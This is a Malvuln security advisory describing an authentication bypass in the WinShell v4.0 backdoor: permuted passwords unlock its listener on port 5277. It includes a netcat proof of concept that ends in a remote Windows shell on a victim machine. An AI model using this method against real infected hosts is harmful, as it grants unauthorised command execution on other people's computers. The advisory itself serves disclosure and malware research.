Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/83fe2cc7aedc452d71c751053a2112c4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.40
Vulnerability: Authentication Bypass Command Execution
Description: Malware WinShell v4.0 by janker listens on TCP port 5277 and allows for setting a password for remote access. However, after setting the password any combination of the characters used for the password will allow access. E.g. if the password is set to "abc123"  interestingly the chars "eutn" allows access. Also, password combinations like: abc321, 321abc, 132abc, a1b2c3, cba123, bca321, bac321, cab123, cab231, cab312, cab213, ab1c23 will also authenticate successfully. Sometimes when attempting to authenticate with a derived password and it fails, try it again and boom it works!
Type: PE32
MD5: 83fe2cc7aedc452d71c751053a2112c4
Vuln ID: MVID-2021-0278
Disclosure: 07/03/2021

Exploit/PoC:
Set password to Malvuln123

nc64.exe x.x.x.x 5277
Password:Malvunl321

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>?

i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

AND

nc64.exe x.x.x.x 5277
Password:laMvuln123

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).